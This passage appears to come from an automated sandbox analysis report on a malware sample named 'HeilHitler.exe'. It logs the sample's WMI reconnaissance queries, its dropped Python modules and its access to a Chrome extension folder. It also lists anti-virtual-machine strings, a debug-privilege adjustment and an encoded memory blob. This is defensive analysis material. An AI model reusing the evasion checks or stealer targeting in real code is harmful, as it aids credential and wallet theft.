Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8671	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 745	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8440	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 891	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1103
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3163
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1576
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4772
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1408
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4300
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1346
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3813
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 409
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2502
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1692

Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\python310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74322\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.dll	Jump to dropped file

Source: C:\Users\user\Desktop\HeilHitler.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17221

Source: C:\Users\user\Desktop\HeilHitler.exe

API coverage: 4.8 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep count: 8671 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep count: 745 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8028	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep count: 8440 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep count: 891 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8032	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1136	Thread sleep count: 1103 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5416	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2332	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8176	Thread sleep count: 3163 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7196	Thread sleep count: 1576 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2080	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep count: 4772 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep count: 1408 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2044	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7096	Thread sleep count: 4300 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep count: 1346 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5776	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5164	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2108	Thread sleep count: 3813 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7616	Thread sleep count: 409 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7608	Thread sleep count: 2502 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7608	Thread sleep count: 1692 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\tree.com	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\tree.com	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\tree.com	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\tree.com	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D683C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF633D683C0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D69280 FindFirstFileExW,FindClose,	0_2_00007FF633D69280
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D81874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF633D81874
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D69280 FindFirstFileExW,FindClose,	1_2_00007FF633D69280
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D683C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF633D683C0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D81874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF633D81874
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF43229 MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,00007FFE1FF9F020,FindFirstFileW,FindNextFileW,WideCharToMultiByte,	1_2_00007FFDFAF43229
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C246EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	68_2_00007FF702C246EC
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C1E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	68_2_00007FF702C1E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C688E0 FindFirstFileExA,	68_2_00007FF702C688E0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\uk\	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: getmac.exe, 00000032.00000003.1796167702.000001B102B26000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000003.1796590383.000001B102B26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ssubkeyname"system\currentcontrolset\services\hyper-v\linkage"t
Source: getmac.exe, 00000032.00000003.1796167702.000001B102B26000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000003.1796590383.000001B102B26000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000002.1797516365.000001B102B32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: HeilHitler.exe, 00000001.00000003.1690107699.000001BD43542000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "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
Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: getmac.exe, 00000032.00000003.1796493147.000001B102B50000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000003.1795863967.000001B102B52000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000002.1797516365.000001B102B50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport
Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: getmac.exe, 00000032.00000003.1796167702.000001B102B26000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000003.1796590383.000001B102B26000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000003.1796493147.000001B102B50000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000003.1796004329.000001B102B4D000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000002.1797516365.000001B102B50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: getmac.exe, 00000032.00000003.1796167702.000001B102B26000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000003.1796590383.000001B102B26000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000002.1797516365.000001B102B32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAWK0
Source: getmac.exe, 00000032.00000003.1796167702.000001B102B26000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000003.1796590383.000001B102B26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-Vn
Source: getmac.exe, 00000032.00000003.1796167702.000001B102B26000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000003.1796590383.000001B102B26000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000002.1797516365.000001B102B32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: getmac.exe, 00000032.00000003.1796493147.000001B102B50000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000003.1795863967.000001B102B52000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000032.00000002.1797516365.000001B102B50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: HeilHitler.exe, 00000001.00000003.1906535342.000001BD436E3000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2019563496.000001BD436E9000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2032871935.000001BD44140000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1906535342.000001BD436B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice
Source: HeilHitler.exe, 00000001.00000002.2026948270.000001BD43330000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\HeilHitler.exe

Code function: 0_2_00007FF633D6D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF633D6D12C

Source: C:\Users\user\Desktop\HeilHitler.exe

Code function: 1_2_00007FFDFAF31940 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

1_2_00007FFDFAF31940

Source: C:\Users\user\Desktop\HeilHitler.exe

Code function: 0_2_00007FF633D83480 GetProcessHeap,

0_2_00007FF633D83480

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
